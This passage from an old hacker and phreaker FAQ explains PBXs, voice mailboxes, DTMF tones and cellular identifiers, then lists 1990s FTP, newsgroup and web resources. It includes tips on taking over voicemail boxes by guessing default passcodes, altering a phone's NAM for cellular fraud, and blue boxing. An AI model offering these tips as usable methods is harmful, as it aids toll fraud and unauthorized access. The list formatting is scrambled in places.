international calls ($3.99/minute). Dial from a pay phone. :-) 31. What is a PBX? A PBX is a Private Branch Exchange. A PBX is a small telephone switch owned by a company or organization. Let's say your company has a thousand employees. Without a PBX, you would need a thousand phone lines. However, only 10% of your employees are talking on the phone at one time. What if you had a computer that automatically found an outside line every time one of your employees picked up the telephone. With this type of system, you could get by with only paying for one hundred phone lines. This is a PBX. 32. What is a VMB? A VMB is a Voice Mail Box. A VMB is a computer that acts as an answering machine for hundreds or thousands of users. Each user will have their own Voice Mail Box on the system. Each mail box will have a box number and a pass code. Without a passcode, you will usually be able to leave messages to users on the VMB system. With a passcode, you can read messages and administer a mailbox. Often, mailboxes will exist that were created by default or are no longer used. These mailboxes may be taken over by guessing their passcode. Often the passcode will be the mailbox number or a common number such as 1234. 33. What are the ABCD tones for? The ABCD tones are simply additional DTFM tones that may be used in any way the standard (0-9) tones are used. The ABCD tones are used in the U.S. military telephone network (AutoVon), in some Automatic Call Distributor (ACD) systems, for control messages in some PBX systems, and in some amateur radio auto-patches. In the AutoVon network, special telephones are equipped with ABCD keys. The ABCD keys are defined as such: A - Flash B - Flash override priority C - Priority communication D - Priority override Using a built-in maintenance mode of the Automatic Call Distributor (ACD) systems once used by Directory Assistance operators, you could connect two callers together. The purpose of the Silver Box is to create the ABCD tones. See also "What are the DTMF Frequencies?" 34. What are the International Direct Numbers? The numbers are used so that you may connect to an operator from a foreign telephone network, without incurring long distance charges. These numbers may be useful in blue boxing, as many countries still have older switching equipment in use. Australia (800)682-2878 Austria (800)624-0043 Belgium (800)472-0032 Belize (800)235-1154 Bermuda (800)232-2067 Brazil (800)344-1055 British VI (800)278-6585 Cayman (800)852-3653 Chile (800)552-0056 China (Shanghai) (800)532-4462 Costa Rica (800)252-5114 Denmark (800)762-0045 El Salvador (800)422-2425 Finland (800)232-0358 France (800)537-2623 Germany (800)292-0049 Greece (800)443-5527 Guam (800)367-4826 HK (800)992-2323 Hungary (800)352-9469 Indonesia (800)242-4757 Ireland (800)562-6262 Italy (800)543-7662 Japan (800)543-0051 Korea (800)822-8256 Macau (800)622-2821 Malaysia (800)772-7369 Netherlands (800)432-0031 Norway (800)292-0047 New Zealand (800)248-0064 Panama (800)872-6106 Portugal (800)822-2776 Philippines (800)336-7445 Singapore (800)822-6588 Spain (800)247-7246 Sweden (800)345-0046 Taiwan (800)626-0979 Thailand (800)342-0066 Turkey (800)828-2646 UK (800)445-5667 Uruguay (800)245-8411 Yugoslavia (800)367-9842 (Belgrade) 367-9841 (Zagreb) USA from outside (800)874-4000 Ext. 107 Section C: Cellular ~~~~~~~~~~~~~~~~~~~ 01. What is an MTSO? MTSO stands for Mobile Telephone Switching Office. The MTSO is the switching office that connects all of the individual cell towers to the Central Office (CO). The MTSO is responsible for monitoring the relative signal strength of your cellular phone as reported by each of the cell towers, and switching your conversation to the cell tower which will give you the best possible reception. 02. What is a NAM? NAM stands for Number Assignment Module. The NAM is the EPROM that holds information such as the MIN and SIDH. Cellular fraud is committed by modifying the information stored in this component. 03. What is an ESN? ESN stands for Electronic Serial Number. The is the serial number of your cellular telephone. 04. What is an MIN? MIN stands for Mobile Identification Number. This is the phone number of the cellular telephone. 05. What is a SCM? SCM stands for Station Class Mark. The SCM is a 4 bit number which holds three different pieces of information. Your cellular telephone transmits this information (and more) to the cell tower. Bit 1 of the SCM tells the cell tower whether your cellphone uses the older 666 channel cellular system, or the newer 832 channel cellular system. The expansion to 832 channels occured in 1988. Bit 2 tells the cellular system whether your cellular telephone is a mobile unit or a voice activated cellular telephone. Bit's 3 and 4 tell the cell tower what power your cellular telephone should be transmitting on. Bit 1: 0 == 666 channels 1 == 832 channels Bit 2: 0 == Mobile cellular telephone 1 == Voice activated cellular telephone Bit 3/4: 00 == 3.0 watts (Mobiles) 01 == 1.2 watts (Transportables) 10 == .06 watts (Portables) 11 == Reserved for future use 06. What is a SIDH? SIDH stands for System Identification for Home System. The SIDH in your cellular telephone tells the cellular system what area your cellular service originates from. This is used in roaming (making cellular calls when in an area not served by your cellular provider). Every geographical region has two SIDH codes, one for the wireline carrier and one for the nonwireline carrier. These are the two companies that are legally allowed to provide cellular telephone service in that region. The wireline carrier is usually your local telephone company, while the nonwireline carrier will be another company. The SIDH for the wireline carrier is always an even number, while the SIDH for the nonwireline carrier is always an odd number. The wireline carrier is also known as the Side-B carrier and the non-wireline carrier is also known as the Side-A carrier. 07. What are the forward/reverse channels? Forward channels are the frequencies the cell towers use to talk to your cellular telephone. Reverse channels are the frequencies your cellular telephone uses to talk to the cell towers. The forward channel is usually 45 mhz above the reverse channel. For example, if the reverse channel is at 824 mhz, the forward channel would be at 869 mhz. Section D: Resources ~~~~~~~~~~~~~~~~~~~~ 01. What are some ftp sites of interest to hackers? N 204.215.84.2 /pub/dmackey 2600.com (2600 Magazine) aeneas.mit.edu (Kerberos) alex.sp.cs.cmu.edu /links/security asylum.sf.ca.us (Misc) (CyberWarriors of Xanadu) N atari.archive.umich.edu /pub/atari/Utilities/pgp261st.zip (Atari PGP) athena-dist.mit.edu /pub/ATHENA (Athena Project) atlantis.utmb.edu (Anti-virus) bellcore.com (Bellcore) cert.org (CERT) ciac.llnl.gov (CIAC) clark.net /pub/jcase (H/P) cnit.nsk.su /pub/security (Security) coast.cs.purdue.edu /pub (Security/COAST) coombs.anu.edu.au /pub/security (Security) csrc.ncsl.nist.gov dartmouth.edu (NIST Security) /pub/security ds.internic.net N dutiws.twi.tudelft.nl (Internet documents) /pub/novell etext.archive.umich.edu /pub/Zines/PrivateLine N fastlane.net (Security) (PrivateLine) /pub/nomad ftp.3com.com /pub/Orange-Book (Orange Book) ftp.acns.nwu.edu /pub (Mac Anti-virus) ftp.acsu.buffalo.edu /pub/security & /pub/irc (Security & IRC) ftp.alantec.com /pub/tcpr (Tcpr) ftp.armory.com /pub/user/kmartind (H/P) ftp.armory.com /pub/user/swallow (H/P) ftp.auscert.org.au /pub (Australian CERT) ftp.cerf.net /pub/software/unix/security (CERFnet) ftp.cert.dfn.de (FIRST) ftp.cisco.com (Cisco) ftp.commerce.net /pub/standards/drafts/shttp.txt (Secure HyperText) ftp.cs.colorado.edu ftp.cs.ruu.nl /pub/SECURITY (Security & PGP) ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest) ftp.cs.vu.nl ftp.cs.yale.edu ftp.csi.forth.gr /pub/security ftp.csl.sri.com /pub/nides ftp.csn.org /mpj ftp.csua.berkeley.edu (SRI) (Cryptology) /pub/cypherpunks (Crypto) /pub/misc/0800num.txt (0800/0500 numbers) ftp.delmarva.com N ftp.demon.co.uk ftp.denet.dk /pub/security/tools/satan ftp.digex.net /pub/access/dunk ftp.dsi.unimi.it /pub/security/crypt ftp.dstc.edu.au /pub/security/satan (Crypto) ftp.ee.lbl.gov ftp.eff.org /pub/Publications/CuD (EFF) ftp.elelab.nsc.co.jp /pub/security (Security) ftp.etext.org (Etext) ftp.fc.net /pub/deadkat (TNO) ftp.fc.net /pub/defcon (DefCon) ftp.fc.net /pub/defcon/BBEEP (BlueBeep) ftp.fc.net /pub/phrack (Phrack) ftp.foobar.com ftp.funet.fi /pub/doc/CuD ftp.gate.net /pub/users/laura ftp.gate.net /pub/users/wakko ftp.giga.or.at /pub/hacker/ (H/P) ftp.greatcircle.com /pub/firewalls (Firewalls) ftp.IEunet.ie /pub/security (Security) ftp.ifi.uio.no ftp.indirect.com /www/evildawg/public_access/C&N/ ftp.info.fundp.ac.be ftp.informatik.uni-hamburg.de ftp.informatik.uni-kiel.de /pub/sources/security ftp.inoc.dl.nec.com /pub/security (Security) /users/oracle/ (H/P ftp.isi.edu ftp.lava.net N ftp.leo.org/pub/com/os/os2/crypt ftp.lerc.nasa.gov /security ftp.llnl.gov /pub ftp.luth.se /pub/unix/security (CIAC) ftp.lysator.liu.se ftp.mcs.anl.gov /pub/security ftp.microserve.net /ppp-pop/strata/mac (Mac) ftp.near.net /security/archives/phrack (Zines) ftp.nec.com ftp.net.ohio-state.edu /pub/security/satan ftp.netcom.com /pub/br/bradleym (Virii) ftp.netcom.com /pub/da/daemon9 (H/P) ftp.netcom.com /pub/fi/filbert N ftp.netcom.com /pub/gr/grady N ftp.netcom.com /pub/il/illusion (H/P+Virus) N ftp.netcom.com /pub/je/jericho (H/P) /pub/le/lewiz (Social Engineering) /pub/ty/tym (TYM) ftp.netcom.com /pub/va/vandal (DnA) ftp.netcom.com /pub/wt/wtech/ ftp.netcom.com N ftp.netcom.com N ftp.netcom.com /pub/zi/zigweed (H/P) /pub/zz/zzyzx (H/P) ftp.ocs.mq.edu.au /PC/Crypt (Cryptology) ftp.ox.ac.uk /pub/comp/security ftp.ox.ac.uk /pub/crypto (Cryptology) ftp.ox.ac.uk /pub/wordlists (Wordlists) ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc) /pub/areacode (uk areacodes) ftp.netcom.com ftp.netsys.com N ftp.pipex.net ftp.pop.psu.edu ftp.primenet.com /users/i/insphrk ftp.primenet.com /users/k/kludge (H/P) ftp.primenet.com /users/s/scuzzy (Copy Protection) ftp.primus.com /pub/security (Security) ftp.psy.uq.oz.au ftp.psy.uq.oz.au /pub/DES ftp.rahul.net /pub/conquest/DeadelviS/script/vms/ ftp.rahul.net /pub/lps (Home of the FAQ) ftp.sert.edu.au ftp.sgi.com N ftp.smartlink.net /pub/users/mikes/haq ftp.std.com /archives/alt.locksmithing (Locksmithing) ftp.std.com /obi/Mischief/ (MIT Guide to Locks) ftp.std.com /obi/Phracks (Zines) ftp.sunet.se /pub/network/monitoring (Ethernet sniffers) ftp.sura.net /pub/security (SURAnet) /pub (TIS) ftp.technet.sg U ftp.technion.ac.il ftp.tis.com ftp.tisl.ukans.edu /pub/security ftp.uni-koeln.de (Wordlists) ftp.uspto.gov ftp.uu.net /doc/literary/obi/Phracks (Zines) ftp.uwp.edu /pub/dos/romulus/cracks (Copy Protection) ftp.warwick.ac.uk /pub/cud (Zines) ftp.wi.leidenuniv.nl /pub/security ftp.win.tue.nl /pub/security (Security) ftp.winternet.com /users/nitehwk (H/P) ftp.wustl.edu /doc/EFF (EFF) ftp.vis.colostate.edu ftp.vix.com ftp.vortex.com ftp.zoom.com ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto (Cryptology) garbo.uwasa.fi (Cryptology) N gemini.tuc.noao.edu gti.net /pc/crypt /pub/grandi /pub/safetynet gumby.dsd.trw.com hack-this.pc.cc.cmu.edu (Down for Summer) heffer.lab.csuchico.edu (Third Stone From The Sun) hplyot.obspm.fr info.mcs.anl.gov N infonexus.com /pub (The Guild) jerico.usc.edu l0pht.com lcs.mit.edu (The L0pht) /telecom-archives lod.com (Telecom archives) (Legion of Doom) mac.archive.umich.edu mary.iia.org /pub/users/patriot (Misc) monet.ccs.itd.umich.edu N net-dist.mit.edu /pub/pgp net.tamu.edu /pub/security/TAMU (Security) net23.com /pub (Max Headroom) nic.ddn.mil /scc (DDN Security) nic.sura.net /pub/security oak.oakland.edu /pub/hamradio (Ham Radio) oak.oakland.edu /SimTel/msdos/sound (DTMF decoders) oak.oakland.edu /SimTel/msdos/sysutil (BIOS attackers) prism.nmt.edu /pub/misc (Terrorist Handbook) pyrite.rutgers.edu /pub/security (Security) relay.cs.toronto.edu /doc/telecom-archives (Telecom) rena.dit.co.jp /pub/security (Security) research.att.com /dist/internet_security (AT&T) ripem.msu.edu /pub/crypt (Ripem) /pub2/KRaD (KRaD Magazine) parcftp.xerox.com N rmii.com rtfm.mit.edu (Etext) rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's) scss3.cl.msu.edu /pub/crypt (Cryptology) /Security (SGI Security) N sgigate.sgi.com sierra.stanford.edu spy.org N src.doc.ic.ac.uk suburbia.apana.org.au (CSC) /usenet/uk.telecom (uk.telecom archives) /pub/unix/security (Security) sunsolve1.sun.com theta.iis.u-tokyo.ac.jp /pub1/security (Security) titania.mathematik.uni-ulm.de /pub/security (Security) toxicwaste.mit.edu (Breaking RSA) /pub/rsa129/README ugle.unit.no unipc20.unimed.sintef.no vic.cc.purdue.edu vixen.cso.uiuc.edu /security N web.mit.edu whacked.l0pht.com wimsey.bc.ca N wuarchive.wustl.edu (Mac + H/P) /pub/crypto /pub/aminet/util/crypt 02. What are some fsp sites of interest to hackers? None at this time. (Cryptology) 03. What are some newsgroups of interest to hackers? alt.2600 Do it 'til it hertz N alt.2600hz N alt.2600.codez N alt.2600.debate N alt.2600.moderated alt.cellular alt.cellular-phone-tech Brilliant telephony mind blow netnews naming alt.comp.virus An unmoderated forum for discussing viruses alt.comp.virus.source.code alt.cracks Heavy toolbelt wearers of the world, unite alt.cyberpunk High-tech low-life. alt.cyberspace Cyberspace and how it should work. alt.dcom.telecom Discussion of telecommunications technology alt.engr.explosives [no description available] alt.fan.kevin-mitnick alt.fan.lewiz Lewis De Payne fan club alt.hackers Descriptions of projects currently under development alt.hackintosh alt.locksmithing You locked your keys in *where*? alt.hackers.malicious The really bad guys - don't take candy from them alt.ph.uk United Kingdom version of alt.2600 alt.privacy.anon-server Tech. & policy matters of anonymous contact servers alt.radio.pirate Hide the gear, here comes the magic station-wagons. alt.radio.scanner Discussion of scanning radio receivers. alt.satellite.tv.europe All about European satellite tv alt.security Security issues on computer systems alt.security.index Pointers to good stuff in misc.security (Moderated) alt.security.keydist Exchange of keys for public key encryption systems alt.security.pgp The Pretty Good Privacy package alt.security.ripem A secure email system illegal to export from the US comp.dcom.cellular [no description available] comp.dcom.telecom Telecommunications digest (Moderated) comp.dcom.telecom.tech [no description available] comp.org.cpsr.announce Computer Professionals for Social Responsibility comp.org.cpsr.talk Issues of computing and social responsibility comp.org.eff.news News from the Electronic Frontiers Foundation comp.org.eff.talk Discussion of EFF goals, strategies, etc. N comp.os.netware.security Netware Security issues comp.protocols.kerberos The Kerberos authentification server comp.protocols.tcp-ip TCP and IP network protocols comp.risks Risks to the public from computers & users comp.security.announce Announcements from the CERT about security N comp.security.firewalls Anything pertaining to network firewall security comp.security.misc Security issues of computers and networks comp.security.unix Discussion of Unix security comp.virus Computer viruses & security (Moderated) de.org.ccc Mitteilungen des CCC e.V. misc.security Security in general, not just computers (Moderated) rec.pyrotechnics Fireworks, rocketry, safety, & other topics rec.radio.scanner [no description available] rec.video.cable-tv Technical and regulatory issues of cable television sci.crypt Different methods of data en/decryption 04. What are some telnet sites of interest to hackers? anarchy-online.com ntiabbs.ntia.doc.gov (NTIA) l0pht.com (The L0pht) sfpg.gcomm.com (The Floating Pancreas) telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down) pcspm2.dar.csiro.au (Virtual Doughnutland BBS) prince.carleton.ca 31337 (Twilight of The Idols) N spy.org (Computer Systems Consulting) 05. What are some gopher sites of interest to hackers? ba.com (Bell Atlantic) N cell-relay.indiana.edu (Cell Relay Retreat) csrc.ncsl.nist.gov (NIST Security Gopher) gopher.acm.org (SIGSAC (Security, Audit & Control)) gopher.cpsr.org (Computer Professionals for Social Responsibility) gopher.eff.org (Electonic Frontier Foundation) N gopher.panix.com (Panix) gw.PacBell.com (Pacific Bell) iitf.doc.gov (NITA -- IITF) N info.itu.ch (International Telegraph Union) ncjrs.aspensys.com (National Criminal Justice Reference Service) oss.net (Open Source Solutions) spy.org (Computer Systems Consulting) wiretap.spies.com (Wiretap) 06. What are some World wide Web (WWW) sites of interest to hackers? N 134.220.198.66:8000 (Peter Strangman's) U alcuin.plymouth.edu/~jay/underground.html (Underground Links) U all.net (American Society for Industrial Security Management) alumni.caltech.edu/~dank/isdn/ N asearch.mccmedia.com/www-security.html (ISDN) (WWW-security info) aset.rsoc.rockwell.com (NASA/MOD AIS Security) aset.rsoc.rockwell.com/exhibit.html (Tech. for Info Sec) att.net/dir800 (800 directory) ausg.dartmouth.edu/security.html (UNIX Security Topics) N bianca.com/bump/ua (Unauthorized Access Home Page) N ccnga.uwaterloo.ca/~jscouria/gsm.html (GSM Specification) N cell-relay.indiana.edu/cell-relay (Cell Relay Retreat) N ciac.llnl.gov (CIAC Web Site) N community.net/community/all/home/solano/sbaldwin N cs.purdue.edu/homes/spaf/coast.html (The COAST Project and Laboratory) N csbh.mhv.net/dcypher/home.html (Dcypher's Home Page) N csrc.ncsl.nist.gov (NIST) N cwix.com/cwplc (Cable and Wireless) daemon.apana.org.au/~longi/ N dcpu1.cs.york.ac.uk:6666/fisher/telecom (Embryonic Telephone History Page) N dfw.net/~aleph1 (The Uebercracker's Security Web) N draco.centerline.com:8080/~franl/crypto.html (Crypto) N draco.centerline.com:8080/~franl/privacy/bacard-review.html N enigma.pc.cc.cmu.edu/~caffeine/home.html (Caffeine's Home Page) N everest.cs.ucdavis.edu/Security.html (UCDavis.edu Security Page) N everest.cs.ucdavis.edu/slides/slides.html (Security Lab Slides) ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR) N fastlane.net/homepages/thegnome (Simple Nomad) N first.org (FIRST) N freeside.com/phrack.html (Phrack Magazine) N frosted.mhv.net/keytrap.html N ftp.arpa.mil ftp.tamu.edu/~abr8030/security.html (ARPA home page) (Security) N grove.ufl.edu/~bytor (Bytor home page) N hightop.nrl.navy.mil/potpourri.html (MOD Security) N hightop.nrl.navy.mil/rainbow.html (MOD Rainbow Books) ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling) ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS) info.bellcore.com/BETSI/betsi.html (Betsi) N info.gte.com (GTE Labrotories) N info.mcc.ac.uk/Orange (Orange) infosec.nosc.mil/infosec.html (SPAWAR INFOSEC) N infosec.nosc.mil/navcirt.html (NAVCIRT) N iss.net/iss (Internet Security Systems) N jumper.mcc.ac.uk/~afs/telecom (UK Telecom Pricing Information) l0pht.com (The l0pht) l0pht.com/~oblivion/IIRG.html (Phantasy Magazine) N l0pht.com/~spacerog/index.html (Whacked Mac Archives) N lcs.mit.edu/telecom-archives/areacodes/guide (North American Area Codes) N lcs.mit.edu/telecom-archives/npa.800 (1-800 Info) N lcs.mit.edu/telecom-archives/npa.900 (1-900 Info) N lod.com (Legion of Doom) N lod.com/~gatsby (Gatsby) N lod.com/~tabas (Mark Tabas -- LOD) N lod.com/~vampire/emptime7 (Empire Times) N magicnet.net/xtabi/netscape/links/cypher.html (Cryptology) N mars.superlink.net/user/esquire (Red box info) matrix.resnet.upenn.edu/rourke (FakeMail FAQ) mindlink.jolt.com (The Secrets of LockPicking) N mindlink.net/A7657 mls.saic.com N (Stephen H Kawamoto's Home Page) (SAIC MLS) mnementh.cs.adfa.oz.au/Lawrie_Brown.html (Lawrie Brown's crypto bibliography) motserv.indirect.com (Motorola) U naic.nasa.gov/fbi (FBI information) U nasirc.nasa.gov/NASIRC_home.html (NASIRC) obscura.com/~loki/ (Cryptology) ophie.hughes.american.edu/~ophie (Ophie) oregano.sl.pitt.edu/index.htm N outpost.callnet.com/outpost.html pages.ripco.com:8080/~glr/glr.html (Full Disclosure) U peg.pegasus.oz.au (EFF Australia) N quetel.qc.ca/qt0000ag.htm (Quebec-Telephone) N resudox.net/bio/mainpage.html (BioHazard's Home Page) N ripco.com:8080/~glr/glr.html (Full Disclosure) N rschp2.anu.edu.au:8080/crypt.html N scitsc.wlv.ac.uk/~cs6171/hack (UNIX Security) U seclab.cs.ucdavis.edu/Security.html (Security) U seclab.cs.ucdavis.edu/slides/slides.html (Security Lab Slides) N sfpg.gcomm.com/mitnick/mitnick.htm (3wP Kevin Mitnick WWW HomePage) N smurfland.cit.buffalo.edu/NetMan/index.html (Network Management) N sunsite.unc.edu/sun/inform/sun-info.html (Sun Microsystems Sponsor Page) N support.mayfield.hp.com (Hewlett Packard SupportLine Services) N tamsun.tamu.edu/~clm3840/hacking.html the-tech.mit.edu (Hacking/Phreaking) (LaMacchia case info) N town.hall.org/university/security/stoll/cliff.html (Cliff Stoll) turnpike.net/emporium/C/celestial/celest.html (Detective Databases 1995) ucs.orst.edu:8001/mintro.html (Micro Power Broadcasting) underground.org (Eubercrackers) unixg.ubc.ca:780/~jyee/ (Cell) w3.gti.net/safety N web.mit.edu/network/pgp.html (Getting PGP) N web.nec.com/products/necam/mrd/cellphones/index.html(NEC) U weber.u.washington.edu/~phantom/cpunk/index.html (Cryptology) N wildsau.idv.uni-linz.ac.at/~klon/underground/underground.html (Klon's Underground Links) wintermute.itd.nrl.navy.mil/5544.html (Network Security) N www-mitpress.mit.edu/mitp/recent-books/comp/pgp-source.html N www-ns.rutgers.edu/www-security/index.html (Rutger's documents on WWW security) U www-personal.engin.umich.edu/~jgotts/underground/boxes.html (Box info) U www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html(This document) N www-swiss.ai.mit.edu/~bal/pks-toplev.html www.2600.com N www.8lgm.org www.aads.net (Findingsomeone's PGP key) (2600 Magazine) (8lgm Security Advisories) (Ameritech) N www.access.gpo.gov/su_docs/ N www.aloha.com/~seanw/index.html www.alw.nih.gov/WWW/security.html (Unix Security) N www.artcom.de/CCC/hotlist.html (Chaos Computer Club Hotlist) N www.artech-house.com/artech.html (Artech House) N www.asg.unb.ca (Atlantic Systems Group Mosaic Index) www.aspentec.com/~frzmtdb/fun/hacker.html N www.aston.ac.uk/~bromejt/mobile.html (Mobile Phone Service Locator) N www.att.com (ATT) N www.auditel.com (Auditel) N www.auscert.org.au (Australian CERT) N www.axent.com/axent (Axent Technologies) www.ba.com N www.bctel.com (Bell Atlantic) (BC Tel) www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win) N www.bell.ca (Bell Canada) www.bell.com (MFJ Task Force) www.bellcore.com/SECURITY/security.html (Bellcore Security Products) N www.border.com (Border Network Technologies) www.brad.ac.uk/~nasmith/index.html N www.brad.ac.uk/~nasmith/underground.html www.bst.bls.com (Undergound WWW Sites) (BellSouth) N www.bt.co.uk (British Telecom) N www.business.co.uk/cellnet (Cellnet) N www.c2.org:80/remail/by-www.html (WWW-based remailing form) www.c3.lanl.gov/~mcn (Lanl) www.cam.org/~gagnon (OCP's) U www.careermosaic.com/cm/uswest (USWest) N www.castle.net/~kobrien/telecom.html (Telecom) N www.cco.caltech.edu/~rknop/amiga_pgp26.html N www.cdt.org/cda.html N www.cec.wustl.edu/~dmm2/egs/egs.html www.cert.dfn.de/ (En Garde Systems) (German First Team) N www.checkpoint.com (Checkpoint) N www.chem.surrey.ac.uk/~ch11mh/secure.html (Another page on secure WWW server setup) N www.cis.ksu.edu/~psiber/fortress/phreak/ph2reak.html (Are You Some Kind Of PHREAK!) www.cis.ohio-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html N www.cityscape.co.uk/users/ek80/index.html (Inside Cable Cover) N www.cohesive.com (Cohesive Systems) www.commerce.net/information/standards/drafts/shttp.txt (HyperText) www.con.wesleyan.edu/~triemer/network/docservs.html www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html N www.cosc.georgetown.edu/~denning/crypto (The Cryptography Project) N www.cost.se (COST Computer Security Technologies) www.cpsr.org/home N www.crimson.com/isdn/telecomacry.txt (CPSR) (Crimson's Telecommunications Acronyms) N www.crtc.gc.ca (CRTC - Canadian regulator) N www.cs.berkeley.edu/~raph/remailer-list.html (Anon remailer list) U www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html U www.cs.purdue.edu/coast/coast.html (Coast) N www.cs.purdue.edu/pcert/pcert.html (PCERT) (CMU Security) N www.cs.tu-bs.de (Network management Tools) www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk) www.cs.umd.edu/~lgas (Laughing Gas) N www.cs.umd.edu/~lgas/haquerwerld/haquer-individuals.html(Haquerwerld) www.csd.harris.com/secure_info.html (Harris) www.csl.sri.com (SRI Computer Science Lab) U www.csua.berekeley.edu/pub/cypherpunks/Home.html (Cryptology) N www.cwi.nl/cwi/people/Jack.Jansen/spunk/cookbook.html N www.cyber.co.uk/~joyrex (Joyrex Cellular) www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe) N www.cygnus.com/~gnu/export.html (Cryptography Export Control Archives) U www.datafellows.fi (Data Fellows (F-Prot) N www.datasync.com/~sotmesc/sotmesc.html (SotMESC) N www.dcs.exeter.ac.uk/~aba (Cypherpunk) www.dct.ac.uk/~misb3cp/2600/faq.txt N www.demon.co.uk/mobiles (C.C.Mobiles) N www.dhp.com (DataHaven Project) N www.dhp.com/~pluvius (Pluvius' Home Page) U www.digicash.com/ecash/ecash-home.html (Ecash Home Page) www.digital.com/info/key-secure-index.html (Digital Secure Systems) www.dnai.com/~gui/index.html N www.dtic.dla.mil/defenselink (Office of the U.S. Secretary of Defense (OSD) N www.dtic.dla.mil/iac (DoD Information Analysis Center (IAC) Hub Page) N www.eecs.nwu.edu/~jmyers/bugtraq/about.html N www.eecs.nwu.edu/~jmyers/bugtraq/archives.html www.eecs.nwu.edu/~jmyers/bugtraq/index.html (Bugtraq) www.eecs.nwu.edu/~jmyers/ids/index.html (Intrusion Detection Systems) N www.eff.org N www.eff.org/pub/Alerts N www.eff.org/pub/Net_info/Tools/Crypto/ www.emap.co.uk/partners/racal-airtech (Racal-Airtech) www.ensta.fr/internet/unix/sys_admin (System administration) N www.epic.org N www.ericsson.nl www.etext.org/Zines/ (Ericsson) (Zines) N www.farmstead.com (Farmstead) U www.fbi.gov/fbi/FBI_homepage.html (FBI Homepage) www.fc.net/defcon (DefCon) www.fedworld.gov (Federal Government) www.first.org/first/ (FIRST) N www.fonorola.net (Fonorola (a Canadian carrier) N www.frus.com (Firewalls R Us) www.gbnet.net/kbridge (KarlBridge) www.getnet.com/crak (CRAK Software) N www.getnet.com/~vision N www.gold.net/users/cw78 www.greatcircle.com (FleXtel) (Great Circle Associates) N www.gsu.edu/~socrerx/catalog.html N www.gta.com/index.html (Global Technology Associates) N www.gti.net/grayarea (Gray Areas) U www.hotwired.com (Wired Magazine) www.hpcc.gov/blue94/section.4.6.html N www.hq2.telecom.ie N www.iacr.org/~iacr (NSA) (Telecom Eireann) (International Association of Cryptologic Research (IACR) N www.ibmpcug.co.uk/~Vidtron (Videotron) N www.ic.gov (Central Intelligence Agency Home Page) N www.ifi.uio.no/~staalesc/PGP/home.html N www.iia.org/~gautier/me.html (Rich Gautier's Home Page) N www.indirect.com/www/evildawg www.indirect.com/www/johnk/ N www.ingress.com (CRAK Software) (Ingress Communications) N www.interaccess.com/trc/tsa.html N www.io.org/~djcl/phoneb.html N www.iquest.net/~oseidler N www.itd.nrl.navy.mil/ITD/5540 (Oliver Seidler's WWW Page) (NRL Center for High Assurance Computer Systems) N www.itu.ch/TELECOM (Telecom '95) N www.jagunet.com/~john/ N www.jedefense.com/jed.html (Journal of Electronic Defense) N www.l0pht.com/cdc.html (Cult of the Dead Cow) N www.l0pht.com/radiophone (Radiophone Archive) N www.l0pht.com/~oblivion/IIRG.html (International Information Retrieval Guild Archive Site) N www.lat.com (Los Altos Technologies) www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security) N www.lib.iup.edu/~seaman/hack/bone.html (Bone's H/P/C page o' rama) N www.links.net N www.louisville.edu/~wrbake01 (The GodZ of CyberSpacE) www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide) www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook) www.magi.com/~vektor/linenoiz.html N www.mastercard.com (Secure Electronic Payment Protocol) www.mcs.com/~candyman/http/radio.html (Radar) www.mcs.com/~candyman/under.html (Cell) N www.mcs.net/~candyman www.mgmua.com/hackers/index.html (H/P) (Hackers, the movie) N www.milkyway.com (Milkyway Networks Corporation) N www.mit.edu:8001/people/warlord/pgp-faq.html (PGP 2.6.2 FAQ, Buglist, Fixes, and Improvements) N www.monmouth.com/~jshahom (The Insomniac's Home Page) N www.mot.com (Motorola) www.mpr.ca/ (MPR Teltech Ltd) N www.msen.com/~emv/tubed/spoofing.html (Info on IP spoofing attacks) N www.mwjournal.com/mwj.html (Microwave Journal) N www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/security.html(Security in Mosaic) N www.ncsl.nist.gov (NIST Computer Systems Laboratory) www.net23.com (Max Headroom) N www.netpart.com (NetPartners) www.netresponse.com:80/zldf/ N www.nic.surfnet.nl/surfnet/security/cert-nl.html(CERT-NL) www.nist.gov (NIST) N www.nokia.com (Nokia) N www.nortel.com (Northern Telecom) www.ntt.jp (Nippon Telephone) N www.nynex.co.uk/nynex (NYNEX) U www.odci.gov (The CIA) N www.one2one.co.uk (Mercury One-2-One) N www.open.gov.uk/oftel/oftelwww/oftelhm.htm (OFTEL's Home Page) www.openmarket.com/info/cryptography/applied_cryptography.html www.pacbell.com (Pacific Bell) N www.panix.com/vtw www.paranoia.com/astrostar/fringe.html N www.paranoia.com/hpa www.paranoia.com/mthreat (Paranoia's H/P/A Links) (ToneLoc) N www.paranoia.com/~coldfire (Cold Fire's Web Page) N www.paranoia.com/~darkfox (Darkfox's Home Page) N www.paranoia.com/~ice9 (Ice-9's Home Page) www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP) N www.phantom.com/~darkcyde (DarkCyde) N www.phantom.com/~king (Randy King's WWW Page) N www.phillips.com (Phillips Electronics) N www.phred.org (The Phred Networking Organization) N www.pic.net/uniloc/starlink (Starlink) www.planet.net/onkeld (BlueBeep Home Page) www.primenet.com/~kludge/haqr.html (Kludge) www.quadralay.com/www/Crypt/Crypt.html (Quadralay Cryptography) www.qualcomm.com/cdma/wireless.html (Qualcomm CDMA) N www.ramp.com/~lcs/winpgp.html (PGP with MS/Win) N www.raptor.com (Raptor) www.raptor.com/raptor/raptor.html (Raptor Network Isolator) www.research.att.com (AT&T) N www.rocksoft.com/~ross (Rocksoft Pty (Veracity) N www.rogers.com (Rogers Communications) www.rsa.com N 